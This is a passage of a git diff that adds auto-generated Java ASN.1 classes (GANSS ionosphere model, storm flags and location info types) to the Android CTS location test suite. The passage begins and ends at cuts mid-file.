+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ionoStormFlag3Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ionoStormFlag4Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ionoStormFlag4Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ionoStormFlag4Type() {
+ super();
+ setValueRange("0", "1");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ionoStormFlag4Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ionoStormFlag4Type != null) {
+ return ImmutableList.of(TAG_ionoStormFlag4Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ionoStormFlag4Type from encoded stream.
+ */
+ public static ionoStormFlag4Type fromPerUnaligned(byte[] encodedBytes) {
+ ionoStormFlag4Type result = new ionoStormFlag4Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ionoStormFlag4Type from encoded stream.
+ */
+ public static ionoStormFlag4Type fromPerAligned(byte[] encodedBytes) {
+ ionoStormFlag4Type result = new ionoStormFlag4Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ionoStormFlag4Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ionoStormFlag5Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ionoStormFlag5Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ionoStormFlag5Type() {
+ super();
+ setValueRange("0", "1");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ionoStormFlag5Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ionoStormFlag5Type != null) {
+ return ImmutableList.of(TAG_ionoStormFlag5Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ionoStormFlag5Type from encoded stream.
+ */
+ public static ionoStormFlag5Type fromPerUnaligned(byte[] encodedBytes) {
+ ionoStormFlag5Type result = new ionoStormFlag5Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ionoStormFlag5Type from encoded stream.
+ */
+ public static ionoStormFlag5Type fromPerAligned(byte[] encodedBytes) {
+ ionoStormFlag5Type result = new ionoStormFlag5Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ionoStormFlag5Type = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSIonoStormFlags = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSIonosphereModel.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSIonosphereModel.java
new file mode 100755
index 0000000..767885f
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSIonosphereModel.java
@@ -0,0 +1,588 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSIonosphereModel extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSIonosphereModel
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSIonosphereModel() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSIonosphereModel;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSIonosphereModel != null) {
+ return ImmutableList.of(TAG_GANSSIonosphereModel);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSIonosphereModel from encoded stream.
+ */
+ public static GANSSIonosphereModel fromPerUnaligned(byte[] encodedBytes) {
+ GANSSIonosphereModel result = new GANSSIonosphereModel();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSIonosphereModel from encoded stream.
+ */
+ public static GANSSIonosphereModel fromPerAligned(byte[] encodedBytes) {
+ GANSSIonosphereModel result = new GANSSIonosphereModel();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSIonosphereModel.ai0Type ai0_;
+ public GANSSIonosphereModel.ai0Type getAi0() {
+ return ai0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSIonosphereModel.ai0Type
+ */
+ public void setAi0(Asn1Object value) {
+ this.ai0_ = (GANSSIonosphereModel.ai0Type) value;
+ }
+ public GANSSIonosphereModel.ai0Type setAi0ToNewInstance() {
+ ai0_ = new GANSSIonosphereModel.ai0Type();
+ return ai0_;
+ }
+
+ private GANSSIonosphereModel.ai1Type ai1_;
+ public GANSSIonosphereModel.ai1Type getAi1() {
+ return ai1_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSIonosphereModel.ai1Type
+ */
+ public void setAi1(Asn1Object value) {
+ this.ai1_ = (GANSSIonosphereModel.ai1Type) value;
+ }
+ public GANSSIonosphereModel.ai1Type setAi1ToNewInstance() {
+ ai1_ = new GANSSIonosphereModel.ai1Type();
+ return ai1_;
+ }
+
+ private GANSSIonosphereModel.ai2Type ai2_;
+ public GANSSIonosphereModel.ai2Type getAi2() {
+ return ai2_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSIonosphereModel.ai2Type
+ */
+ public void setAi2(Asn1Object value) {
+ this.ai2_ = (GANSSIonosphereModel.ai2Type) value;
+ }
+ public GANSSIonosphereModel.ai2Type setAi2ToNewInstance() {
+ ai2_ = new GANSSIonosphereModel.ai2Type();
+ return ai2_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getAi0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAi0();
+ }
+
+ @Override public void setToNewInstance() {
+ setAi0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSIonosphereModel.ai0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ai0 : "
+ + getAi0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getAi1() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAi1();
+ }
+
+ @Override public void setToNewInstance() {
+ setAi1ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSIonosphereModel.ai1Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ai1 : "
+ + getAi1().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getAi2() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAi2();
+ }
+
+ @Override public void setToNewInstance() {
+ setAi2ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSIonosphereModel.ai2Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ai2 : "
+ + getAi2().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ai0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ai0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ai0Type() {
+ super();
+ setValueRange("0", "4095");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ai0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ai0Type != null) {
+ return ImmutableList.of(TAG_ai0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ai0Type from encoded stream.
+ */
+ public static ai0Type fromPerUnaligned(byte[] encodedBytes) {
+ ai0Type result = new ai0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ai0Type from encoded stream.
+ */
+ public static ai0Type fromPerAligned(byte[] encodedBytes) {
+ ai0Type result = new ai0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ai0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ai1Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ai1Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ai1Type() {
+ super();
+ setValueRange("0", "4095");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ai1Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ai1Type != null) {
+ return ImmutableList.of(TAG_ai1Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ai1Type from encoded stream.
+ */
+ public static ai1Type fromPerUnaligned(byte[] encodedBytes) {
+ ai1Type result = new ai1Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ai1Type from encoded stream.
+ */
+ public static ai1Type fromPerAligned(byte[] encodedBytes) {
+ ai1Type result = new ai1Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ai1Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ai2Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ai2Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ai2Type() {
+ super();
+ setValueRange("0", "4095");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ai2Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ai2Type != null) {
+ return ImmutableList.of(TAG_ai2Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ai2Type from encoded stream.
+ */
+ public static ai2Type fromPerUnaligned(byte[] encodedBytes) {
+ ai2Type result = new ai2Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ai2Type from encoded stream.
+ */
+ public static ai2Type fromPerAligned(byte[] encodedBytes) {
+ ai2Type result = new ai2Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ai2Type = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSIonosphereModel = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSIonosphericModel.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSIonosphericModel.java
new file mode 100755
index 0000000..7f6cc79
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSIonosphericModel.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSIonosphericModel extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSIonosphericModel
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSIonosphericModel() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSIonosphericModel;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSIonosphericModel != null) {
+ return ImmutableList.of(TAG_GANSSIonosphericModel);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSIonosphericModel from encoded stream.
+ */
+ public static GANSSIonosphericModel fromPerUnaligned(byte[] encodedBytes) {
+ GANSSIonosphericModel result = new GANSSIonosphericModel();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSIonosphericModel from encoded stream.
+ */
+ public static GANSSIonosphericModel fromPerAligned(byte[] encodedBytes) {
+ GANSSIonosphericModel result = new GANSSIonosphericModel();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSIonosphereModel ganssIonoModel_;
+ public GANSSIonosphereModel getGanssIonoModel() {
+ return ganssIonoModel_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSIonosphereModel
+ */
+ public void setGanssIonoModel(Asn1Object value) {
+ this.ganssIonoModel_ = (GANSSIonosphereModel) value;
+ }
+ public GANSSIonosphereModel setGanssIonoModelToNewInstance() {
+ ganssIonoModel_ = new GANSSIonosphereModel();
+ return ganssIonoModel_;
+ }
+
+ private GANSSIonoStormFlags ganssIonoStormFlags_;
+ public GANSSIonoStormFlags getGanssIonoStormFlags() {
+ return ganssIonoStormFlags_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSIonoStormFlags
+ */
+ public void setGanssIonoStormFlags(Asn1Object value) {
+ this.ganssIonoStormFlags_ = (GANSSIonoStormFlags) value;
+ }
+ public GANSSIonoStormFlags setGanssIonoStormFlagsToNewInstance() {
+ ganssIonoStormFlags_ = new GANSSIonoStormFlags();
+ return ganssIonoStormFlags_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssIonoModel() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssIonoModel();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssIonoModelToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSIonosphereModel.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssIonoModel : "
+ + getGanssIonoModel().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssIonoStormFlags() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssIonoStormFlags();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssIonoStormFlagsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSIonoStormFlags.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssIonoStormFlags : "
+ + getGanssIonoStormFlags().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSIonosphericModel = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSLocationInfo.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSLocationInfo.java
new file mode 100755
index 0000000..0664b45
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSLocationInfo.java
@@ -0,0 +1,949 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.map_lcs_datatypes.Ext_GeographicalInformation;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSLocationInfo extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSLocationInfo
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSLocationInfo() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSLocationInfo;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSLocationInfo != null) {
+ return ImmutableList.of(TAG_GANSSLocationInfo);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSLocationInfo from encoded stream.
+ */
+ public static GANSSLocationInfo fromPerUnaligned(byte[] encodedBytes) {
+ GANSSLocationInfo result = new GANSSLocationInfo();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSLocationInfo from encoded stream.
+ */
+ public static GANSSLocationInfo fromPerAligned(byte[] encodedBytes) {
+ GANSSLocationInfo result = new GANSSLocationInfo();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private ReferenceFrame referenceFrame_;
+ public ReferenceFrame getReferenceFrame() {
+ return referenceFrame_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReferenceFrame
+ */
+ public void setReferenceFrame(Asn1Object value) {
+ this.referenceFrame_ = (ReferenceFrame) value;
+ }
+ public ReferenceFrame setReferenceFrameToNewInstance() {
+ referenceFrame_ = new ReferenceFrame();
+ return referenceFrame_;
+ }
+
+ private GANSSTODm ganssTODm_;
+ public GANSSTODm getGanssTODm() {
+ return ganssTODm_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSTODm
+ */
+ public void setGanssTODm(Asn1Object value) {
